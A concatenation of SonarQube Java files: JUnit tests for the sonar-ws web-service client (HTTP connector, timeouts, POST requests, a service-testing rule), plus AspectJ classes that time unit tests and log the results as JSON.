assertThat(body)
.contains("Content-Disposition: form-data; name=\"report\"")
.contains("Content-Type: text/plain")
.contains("the report content");
}
@Test
public void http_error() {
server.enqueue(new MockResponse().setResponseCode(404));
PostRequest request = new PostRequest("api/issues/search");
underTest = HttpConnector.newBuilder().url(serverUrl).build();
WsResponse wsResponse = underTest.call(request);
assertThat(wsResponse.code()).isEqualTo(404);
}
@Test
public void support_base_url_ending_with_slash() {
assertThat(serverUrl).endsWith("/");
underTest = HttpConnector.newBuilder().url(StringUtils.removeEnd(serverUrl, "/")).build();
GetRequest request = new GetRequest("api/issues/search");
answerHelloWorld();
WsResponse response = underTest.call(request);
assertThat(response.hasContent()).isTrue();
}
@Test
public void support_base_url_with_context() {
// just to be sure
assertThat(serverUrl).endsWith("/");
underTest = HttpConnector.newBuilder().url(serverUrl + "sonar").build();
GetRequest request = new GetRequest("api/issues/search");
answerHelloWorld();
assertThat(underTest.call(request).requestUrl()).isEqualTo(serverUrl + "sonar/api/issues/search");
request = new GetRequest("/api/issues/search");
answerHelloWorld();
assertThat(underTest.call(request).requestUrl()).isEqualTo(serverUrl + "sonar/api/issues/search");
}
@Test
public void support_tls_versions_of_java8() {
underTest = HttpConnector.newBuilder().url(serverUrl).build();
assertTlsAndClearTextSpecifications(underTest);
assertThat(underTest.okHttpClient().sslSocketFactory()).isInstanceOf(SSLSocketFactory.getDefault().getClass());
}
@Test
public void override_timeout_on_get() {
underTest = HttpConnector.newBuilder().url(serverUrl).build();
server.enqueue(new MockResponse().setBodyDelay(100, TimeUnit.MILLISECONDS).setBody("Hello delayed"));
assertThatThrownBy(() -> {
WsResponse call = underTest.call(new GetRequest("/").setTimeOutInMs(5));
assertThat(call.content()).equals("Hello delayed");
})
.isInstanceOf(IllegalStateException.class)
.hasCauseInstanceOf(SocketTimeoutException.class);
}
@Test
public void override_timeout_on_post() {
underTest = HttpConnector.newBuilder().url(serverUrl).build();
// Headers are not affected by setBodyDelay, let's throttle the answer
server.enqueue(new MockResponse().throttleBody(1, 100, TimeUnit.MILLISECONDS).setBody("Hello delayed"));
assertThatThrownBy(() -> {
WsResponse call = underTest.call(new PostRequest("/").setTimeOutInMs(5));
assertThat(call.content()).equals("Hello delayed");
})
.isInstanceOf(IllegalStateException.class)
.hasCauseInstanceOf(SocketTimeoutException.class);
}
@Test
public void override_timeout_on_post_with_redirect() {
underTest = HttpConnector.newBuilder().url(serverUrl).build();
server.enqueue(new MockResponse().setResponseCode(301).setHeader("Location:", "/redirect"));
// Headers are not affected by setBodyDelay, let's throttle the answer
server.enqueue(new MockResponse().throttleBody(1, 100, TimeUnit.MILLISECONDS).setBody("Hello delayed"));
assertThatThrownBy(() -> {
WsResponse call = underTest.call(new PostRequest("/").setTimeOutInMs(5));
assertThat(call.content()).equals("Hello delayed");
})
.isInstanceOf(IllegalStateException.class)
.hasCauseInstanceOf(SocketTimeoutException.class);
}
private void assertTlsAndClearTextSpecifications(HttpConnector underTest) {
List<ConnectionSpec> connectionSpecs = underTest.okHttpClient().connectionSpecs();
assertThat(connectionSpecs).hasSize(2);
// TLS. tlsVersions()==null means all TLS versions
assertThat(connectionSpecs.get(0).tlsVersions()).isNull();
assertThat(connectionSpecs.get(0).isTls()).isTrue();
// HTTP
assertThat(connectionSpecs.get(1).tlsVersions()).isNull();
assertThat(connectionSpecs.get(1).isTls()).isFalse();
}
private void answerHelloWorld() {
server.enqueue(new MockResponse().setBody("hello, world!").setHeader("header", "value"));
}
}
| 19,860 | 36.902672 | 126 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/HttpExceptionTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
public class HttpExceptionTest {
@Test
public void test_exception() {
HttpException exception = new HttpException("http://localhost:9000/api/search", 500, "error");
assertThat(exception.code()).isEqualTo(500);
assertThat(exception.url()).isEqualTo("http://localhost:9000/api/search");
assertThat(exception.getMessage()).isEqualTo("Error 500 on http://localhost:9000/api/search : error");
}
}
| 1,374 | 38.285714 | 106 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/LocalWsConnectorTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.io.IOUtils;
import org.junit.Test;
import org.mockito.ArgumentMatcher;
import org.sonar.api.server.ws.LocalConnector;
import org.sonarqube.ws.MediaTypes;
import static java.nio.charset.StandardCharsets.UTF_8;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.argThat;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
public class LocalWsConnectorTest {
LocalConnector connector = mock(LocalConnector.class);
LocalWsConnector underTest = new LocalWsConnector(connector);
@Test
public void baseUrl_is_always_slash() {
assertThat(underTest.baseUrl()).isEqualTo("/");
}
@Test
public void call_request() throws Exception {
WsRequest wsRequest = new PostRequest("api/issues/search")
.setMediaType(MediaTypes.JSON)
.setParam("foo", "bar");
answer(new DumbLocalResponse(400, MediaTypes.JSON, "{}".getBytes(UTF_8), Collections.<String>emptyList()));
WsResponse wsResponse = underTest.call(wsRequest);
Map<String, String> expectedParams = new HashMap<>();
expectedParams.put("foo", "bar");
verifyRequested("POST", "api/issues/search", MediaTypes.JSON, expectedParams);
assertThat(wsResponse.code()).isEqualTo(400);
assertThat(wsResponse.content()).isEqualTo("{}");
assertThat(IOUtils.toString(wsResponse.contentReader())).isEqualTo("{}");
assertThat(IOUtils.toString(wsResponse.contentStream())).isEqualTo("{}");
assertThat(wsResponse.contentType()).isEqualTo(MediaTypes.JSON);
assertThat(wsResponse.requestUrl()).isEqualTo("api/issues/search");
assertThat(wsResponse.headers()).isEmpty();
}
@Test
public void call_request_with_defaults() throws Exception {
// no parameters, no media type
WsRequest wsRequest = new GetRequest("api/issues/search");
answer(new DumbLocalResponse(200, MediaTypes.JSON, "".getBytes(UTF_8), Collections.<String>emptyList()));
WsResponse wsResponse = underTest.call(wsRequest);
verifyRequested("GET", "api/issues/search", MediaTypes.JSON, Collections.<String, String>emptyMap());
assertThat(wsResponse.code()).isEqualTo(200);
assertThat(wsResponse.content()).isEmpty();
assertThat(IOUtils.toString(wsResponse.contentReader())).isEmpty();
assertThat(IOUtils.toString(wsResponse.contentStream())).isEmpty();
assertThat(wsResponse.contentType()).isEqualTo(MediaTypes.JSON);
}
private void answer(DumbLocalResponse response) {
when(connector.call(any(LocalConnector.LocalRequest.class))).thenReturn(response);
}
private void verifyRequested(String expectedMethod, String expectedPath,
String expectedMediaType, Map<String, String> expectedParams) {
verify(connector).call(argThat(new ArgumentMatcher<LocalConnector.LocalRequest>() {
@Override
public boolean matches(LocalConnector.LocalRequest localRequest) {
boolean ok = localRequest.getMethod().equals(expectedMethod) && localRequest.getPath().equals(expectedPath);
ok &= localRequest.getMediaType().equals(expectedMediaType);
for (Map.Entry<String, String> expectedParam : expectedParams.entrySet()) {
String paramKey = expectedParam.getKey();
ok &= localRequest.hasParam(paramKey);
ok &= expectedParam.getValue().equals(localRequest.getParam(paramKey));
}
return ok;
}
}));
}
private static class DumbLocalResponse implements LocalConnector.LocalResponse {
private final int code;
private final String mediaType;
private final byte[] bytes;
private final List<String> headers;
public DumbLocalResponse(int code, String mediaType, byte[] bytes, List<String> headers) {
this.code = code;
this.mediaType = mediaType;
this.bytes = bytes;
this.headers = headers;
}
@Override
public int getStatus() {
return code;
}
@Override
public String getMediaType() {
return mediaType;
}
@Override
public byte[] getBytes() {
return bytes;
}
@Override
public Collection<String> getHeaderNames() {
return headers;
}
@Override
public String getHeader(String name) {
throw new UnsupportedOperationException();
}
}
}
| 5,372 | 35.304054 | 116 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/OkHttpClientBuilderTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import javax.net.ssl.SSLSocketFactory;
import okhttp3.OkHttpClient;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import static org.mockito.Mockito.mock;
public class OkHttpClientBuilderTest {
private OkHttpClientBuilder underTest = new OkHttpClientBuilder();
@Test
public void build_default_instance_of_OkHttpClient() {
OkHttpClient okHttpClient = underTest.build();
assertThat(okHttpClient.proxy()).isNull();
assertThat(okHttpClient.networkInterceptors()).hasSize(1);
assertThat(okHttpClient.sslSocketFactory()).isNotNull();
assertThat(okHttpClient.followRedirects()).isTrue();
assertThat(okHttpClient.followSslRedirects()).isTrue();
}
@Test
public void build_with_custom_sslSocketFactory() {
SSLSocketFactory sslSocketFactory = mock(SSLSocketFactory.class);
OkHttpClient okHttpClient = underTest
.setSSLSocketFactory(sslSocketFactory)
.build();
assertThat(okHttpClient.sslSocketFactory()).isEqualTo(sslSocketFactory);
}
@Test
public void build_follow_redirects() {
OkHttpClient okHttpClientWithRedirect = underTest
.setFollowRedirects(true)
.build();
assertThat(okHttpClientWithRedirect.followRedirects()).isTrue();
assertThat(okHttpClientWithRedirect.followSslRedirects()).isTrue();
OkHttpClient okHttpClientWithoutRedirect = underTest
.setFollowRedirects(false)
.build();
assertThat(okHttpClientWithoutRedirect.followRedirects()).isFalse();
assertThat(okHttpClientWithoutRedirect.followSslRedirects()).isFalse();
}
@Test
public void build_throws_IAE_if_connect_timeout_is_negative() {
assertThatThrownBy(() -> underTest.setConnectTimeoutMs(-10))
.isInstanceOf(IllegalArgumentException.class)
.hasMessage("Connect timeout must be positive. Got -10");
}
@Test
public void build_throws_IAE_if_read_timeout_is_negative() {
assertThatThrownBy(() -> underTest.setReadTimeoutMs(-10))
.isInstanceOf(IllegalArgumentException.class)
.hasMessage("Read timeout must be positive. Got -10");
}
}
| 3,039 | 33.942529 | 76 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/PostRequestTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import java.io.File;
import java.io.IOException;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.sonarqube.ws.MediaTypes;
import static org.assertj.core.api.Assertions.assertThat;
public class PostRequestTest {
@Rule
public TemporaryFolder temp = new TemporaryFolder();
@Test
public void post_is_post() {
PostRequest request = new PostRequest("api/issues/search");
assertThat(request.getMethod()).isEqualTo(WsRequest.Method.POST);
}
@Test
public void empty_parts_and_params_by_default() {
PostRequest request = new PostRequest("api/issues/search");
assertThat(request.getParts()).isEmpty();
assertThat(request.getParams()).isEmpty();
}
@Test
public void add_part() throws IOException {
PostRequest request = new PostRequest("api/issues/search");
File reportFile = temp.newFile();
request.setPart("report", new PostRequest.Part(MediaTypes.JSON, reportFile));
assertThat(request.getParts()).hasSize(1);
PostRequest.Part part = request.getParts().get("report");
assertThat(part.getMediaType()).isEqualTo(MediaTypes.JSON);
assertThat(part.getFile()).isSameAs(reportFile);
}
@Test
public void setBody_shouldCorrectlyAddRawBodyToPostRequest() throws IOException {
String bodyRaw = "{\"state\":\"open\"}";
PostRequest request = new PostRequest("api/alm_integrations/webhook_github");
request.setBody(bodyRaw);
assertThat(request.getBody()).isEqualTo(bodyRaw);
assertThat(request.hasBody()).isTrue();
}
}
| 2,428 | 33.211268 | 83 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/ServiceTester.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import com.google.protobuf.Parser;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import javax.annotation.CheckForNull;
import javax.annotation.Nullable;
import javax.annotation.concurrent.Immutable;
import org.assertj.core.api.AbstractAssert;
import org.assertj.core.api.Assertions;
import org.assertj.core.data.MapEntry;
import org.junit.rules.ExternalResource;
import org.mockito.invocation.InvocationOnMock;
import org.mockito.stubbing.Answer;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.doAnswer;
import static org.mockito.Mockito.spy;
/**
* Convenient rule to test a subclass of {@link BaseService}.
*
* <p>
* Declaration sample:
* <pre>
* {@literal @}Rule
* public ServiceTester<PermissionsService> serviceTester = new ServiceTester<>(new PermissionsService(mock(WsConnector.class)));
*
* private PermissionsService underTest = serviceTester.getInstanceUnderTest();
* </pre>
* </p>
*
* <p>
* Method {@link #getInstanceUnderTest()} will return an instance of the class under test which will be instrumented
* and will allow recording internal calls to {@link BaseService#call(BaseRequest, Parser)} and
* {@link BaseService#call(WsRequest)}.
* </p>
* <p>
* Argument of calls to these method will be logged and can be accessed through {@link #getGetCalls()}, {@link #getPostCalls()}
* and {@link #getRawCalls()} depending on whether they are made respectively with {@link GetRequest}, {@link PostRequest}
* or other subclass of {@link BaseRequest}.
* </p>
* <p>
* For convenience, when one is testing a single Ws call, on case use {@link #getGetRequest()} (and its associated
* {@link #getGetParser()}) or {@link #getPostRequest()} (and its associated {@link #getPostParser()}). Those three
* method will make the appropriate assertions assuming that only a single GET (or POST) request has been made.
* </p>
* <p>
* Last but not least, to easily verify the content of a {@link GetRequest} (or a {@link PostRequest}), one can use
* methods {@link #assertThat(GetRequest)} (or {@link #assertThat(PostRequest)}) to write assertions on a
* {@link GetRequest} (or {@link PostRequest}) returned by methods of this Rule.
* </p>
*
* <p>
* Assertion usage sample:
* <pre>
* PostRequest postRequest = serviceTester.getPostRequest();
* serviceTester.assertThat(postRequest)
* .hasPath("add_group")
* .hasParam(PARAM_PERMISSION, PERMISSION_VALUE)
* .hasParam(PARAM_PROJECT_ID, PROJECT_ID_VALUE)
* .hasParam(PARAM_PROJECT_KEY, PROJECT_KEY_VALUE)
* .hasParam(PARAM_GROUP_ID, GROUP_ID_VALUE)
* .hasParam(PARAM_GROUP_NAME, GROUP_NAME_VALUE)
* .andNoOtherParam();
* </pre>
* </p>
*
*/
public class ServiceTester<T extends BaseService> extends ExternalResource {
private final T underTest;
private final List<GetCall> getCalls = new ArrayList<>();
private final List<PostCall> postCalls = new ArrayList<>();
private final List<RawCall> rawCalls = new ArrayList<>();
/**
* @param underTestInstance an instance of the type to test. Use {@link #getInstanceUnderTest()} to retrieve the
* instrumented instance to use in your test.
*/
public ServiceTester(T underTestInstance) {
this.underTest = spy(underTestInstance);
}
@Override
protected void before() throws Throwable {
Answer<Object> answer = new Answer<Object>() {
@Override
public Object answer(InvocationOnMock invocation) throws Throwable {
Object[] arguments = invocation.getArguments();
Object request = arguments[0];
Parser<?> parser = arguments.length == 2 ? (Parser<?>) arguments[1] : null;
if (request instanceof PostRequest) {
postCalls.add(new PostCall((PostRequest) request, parser));
} else if (request instanceof GetRequest) {
getCalls.add(new GetCall((GetRequest) request, parser));
} else {
rawCalls.add(new RawCall((WsRequest) request));
}
return null;
}
};
doAnswer(answer).when(this.underTest).call(any(GetRequest.class), any(Parser.class));
doAnswer(answer).when(this.underTest).call(any(WsRequest.class));
}
@Override
protected void after() {
this.getCalls.clear();
}
public T getInstanceUnderTest() {
return underTest;
}
public List<GetCall> getGetCalls() {
return getCalls;
}
@CheckForNull
public GetRequest getGetRequest() {
assertSingleGetCall();
return (GetRequest) getCalls.iterator().next().getRequest();
}
public RequestAssert<?> assertThat(GetRequest getRequest) {
return new RequestAssert<>(getRequest);
}
public RequestAssert<?> assertThat(PostRequest postRequest) {
return new RequestAssert<>(postRequest);
}
@CheckForNull
public Parser<?> getGetParser() {
assertSingleGetCall();
return getCalls.iterator().next().getParser();
}
public List<PostCall> getPostCalls() {
return postCalls;
}
public PostRequest getPostRequest() {
assertSinglePostCall();
return (PostRequest) postCalls.iterator().next().getRequest();
}
@CheckForNull
public Parser<?> getPostParser() {
assertSinglePostCall();
return postCalls.iterator().next().getParser();
}
private void assertSingleGetCall() {
Assertions.assertThat(getCalls).hasSize(1);
Assertions.assertThat(postCalls).isEmpty();
Assertions.assertThat(rawCalls).isEmpty();
}
private void assertSinglePostCall() {
Assertions.assertThat(postCalls).hasSize(1);
Assertions.assertThat(getRawCalls()).isEmpty();
Assertions.assertThat(rawCalls).isEmpty();
}
public List<RawCall> getRawCalls() {
return rawCalls;
}
@Immutable
public static final class GetCall extends CallWithParser<RequestWithoutPayload<GetRequest>> {
public GetCall(GetRequest getRequest, @Nullable Parser<?> parser) {
super(getRequest, parser);
}
}
@Immutable
public static final class PostCall extends CallWithParser<RequestWithPayload<PostRequest>> {
public PostCall(PostRequest postRequest, @Nullable Parser<?> parser) {
super(postRequest, parser);
}
}
@Immutable
public static final class RawCall {
private final WsRequest wsRequest;
public RawCall(WsRequest wsRequest) {
this.wsRequest = wsRequest;
}
public WsRequest getWsRequest() {
return wsRequest;
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
RawCall rawCalls = (RawCall) o;
return Objects.equals(wsRequest, rawCalls.wsRequest);
}
@Override
public int hashCode() {
return Objects.hash(wsRequest);
}
}
public static abstract class CallWithParser<T extends BaseRequest<T>> {
private final T request;
private final Parser<?> parser;
public CallWithParser(T request, @Nullable Parser<?> parser) {
this.request = request;
this.parser = parser;
}
public T getRequest() {
return request;
}
public Parser<?> getParser() {
return parser;
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
CallWithParser getCall = (CallWithParser) o;
return Objects.equals(request, getCall.request) &&
Objects.equals(parser, getCall.request);
}
@Override
public int hashCode() {
return Objects.hash(request, parser);
}
}
public final class RequestAssert<T extends BaseRequest<T>> extends AbstractAssert<RequestAssert<T>, BaseRequest<T>> {
private final List<MapEntry<String, String>> assertedParams = new ArrayList<>();
protected RequestAssert(T actual) {
super(actual, RequestAssert.class);
}
public RequestAssert hasPath(String path) {
isNotNull();
String expectedPath = underTest.controller + "/" + path;
if (!Objects.equals(actual.getPath(), expectedPath)) {
failWithMessage("Expected path to be <%s> but was <%s>", expectedPath, actual.getPath());
}
return this;
}
public RequestAssert hasParam(String key, String value) {
isNotNull();
MapEntry<String, String> entry = MapEntry.entry(key, value);
Assertions.assertThat(actual.getParams()).contains(entry);
this.assertedParams.add(entry);
return this;
}
public RequestAssert hasParam(String key, int value) {
isNotNull();
MapEntry<String, String> entry = MapEntry.entry(key, String.valueOf(value));
Assertions.assertThat(actual.getParams()).contains(entry);
this.assertedParams.add(entry);
return this;
}
public RequestAssert hasParam(String key, boolean value) {
isNotNull();
MapEntry<String, String> entry = MapEntry.entry(key, String.valueOf(value));
Assertions.assertThat(actual.getParams()).contains(entry);
this.assertedParams.add(entry);
return this;
}
public RequestAssert hasParam(String key, List<String> values) {
isNotNull();
MapEntry<String, String> entry = MapEntry.entry(key, values.toString());
Assertions.assertThat(actual.getParameters().getValues(key)).containsExactly(values.toArray(new String[0]));
this.assertedParams.add(entry);
return this;
}
public RequestAssert andNoOtherParam() {
isNotNull();
Assertions.assertThat(actual.getParams()).hasSize(assertedParams.size());
return this;
}
}
}
| 10,516 | 29.751462 | 135 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/WsClientFactoriesTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import org.junit.Test;
import org.sonar.api.server.ws.LocalConnector;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.mock;
public class WsClientFactoriesTest {
@Test
public void create_http_client() {
HttpConnector connector = HttpConnector.newBuilder().url("http://localhost:9000").build();
WsClient client = WsClientFactories.getDefault().newClient(connector);
assertThat(client).isInstanceOf(DefaultWsClient.class);
assertThat(client.wsConnector()).isSameAs(connector);
}
@Test
public void create_local_client() {
LocalConnector connector = mock(LocalConnector.class);
WsClient client = WsClientFactories.getLocal().newClient(connector);
assertThat(client).isInstanceOf(DefaultWsClient.class);
assertThat(client.wsConnector()).isInstanceOf(LocalWsConnector.class);
assertThat(((LocalWsConnector) client.wsConnector()).localConnector()).isSameAs(connector);
}
}
| 1,839 | 37.333333 | 95 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/AspectAssistant.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import com.google.gson.Gson;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.time.format.DateTimeFormatter;
import java.util.function.Consumer;
import org.aspectj.lang.ProceedingJoinPoint;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class AspectAssistant {
public static final String COMMIT_HASH = System.getenv("GIT_SHA1");
public static final String BUILD_NUMBER = System.getenv("BUILD_NUMBER");
private static final Logger LOGGER = LoggerFactory.getLogger(AspectAssistant.class);
private static final Path PATH = Paths.get("/tmp/ut-backend-monitoring.log");
private static final Gson GSON = new Gson();
static {
try {
if (!Files.exists(PATH, LinkOption.NOFOLLOW_LINKS)) {
Files.createFile(PATH);
}
} catch (IOException e) {
LOGGER.error("error creating log file");
}
}
public static void persistMeasure(Measure measure) {
try {
Files.write(PATH, (GSON.toJson(measure) + "\n").getBytes(), StandardOpenOption.APPEND);
} catch (IOException e) {
LOGGER.error("Error in persisting data of ut monitoring", e);
}
}
public static Object measure(ProceedingJoinPoint jp, Consumer<Measure> populator) throws Throwable {
long start = System.currentTimeMillis();
try {
Object proceed = jp.proceed();
getMeasure(populator, start);
return proceed;
} catch (Throwable t) {
getMeasure(populator, start);
throw t;
}
}
private static void getMeasure(Consumer<Measure> populator, long start) {
long executionTime = System.currentTimeMillis() - start;
if (executionTime > 0) {
Measure measure = new Measure()
.setDuration(executionTime)
.setCommit(COMMIT_HASH)
.setBuild(BUILD_NUMBER)
.setTimestamp(LocalDateTime.now(ZoneId.of("UTC")).format(DateTimeFormatter.ISO_LOCAL_DATE_TIME));
populator.accept(measure);
AspectAssistant.persistMeasure(measure);
}
}
}
| 3,047 | 32.866667 | 105 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/ClassRuleAspect.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import java.util.HashSet;
import java.util.Set;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.aspectj.runtime.reflect.FieldSignatureImpl;
@Aspect("percflow(execution(void org.junit.runners.ParentRunner+.run(..)))")
public class ClassRuleAspect {
private String testClass = "";
private Set<String> classRules = new HashSet<>();
@Pointcut("@annotation(org.junit.ClassRule)")
void targetAnnotation() {
}
@Pointcut("target(org.junit.rules.ExternalResource+) && execution(void before())"
+ " && !cflow(execution(void org.junit.runners.ParentRunner+.runLeaf(..)))")
void classRuleBefore() {
}
@Pointcut("target(org.junit.rules.ExternalResource+) && execution(void after())"
+ " && !cflow(execution(void org.junit.runners.ParentRunner+.runLeaf(..)))")
void classRuleAfter() {
}
@Before("targetAnnotation()")
public void targetAnnotationCall(JoinPoint jp) {
testClass = jp.getStaticPart().getSourceLocation().getWithinType().getName();
if (jp.getStaticPart().getSignature() instanceof FieldSignatureImpl) {
FieldSignatureImpl fieldSignature = (FieldSignatureImpl) jp.getStaticPart().getSignature();
classRules.add(fieldSignature.getFieldType().getName());
}
}
@Around("classRuleBefore()")
public Object classRuleBeforeCall(ProceedingJoinPoint jp) throws Throwable {
return measure(jp, MeasureKind.CLASS_RULE_BEFORE);
}
@Around("classRuleAfter()")
public Object classRuleAfterCall(ProceedingJoinPoint jp) throws Throwable {
return measure(jp, MeasureKind.CLASS_RULE_AFTER);
}
private Object measure(ProceedingJoinPoint jp, MeasureKind measureKind) throws Throwable {
String measureClass = jp.getTarget().getClass().getName();
if (classRules.contains(measureClass)) {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setKind(measureKind));
}
return jp.proceed();
}
}
| 3,016 | 36.246914 | 97 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/Measure.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
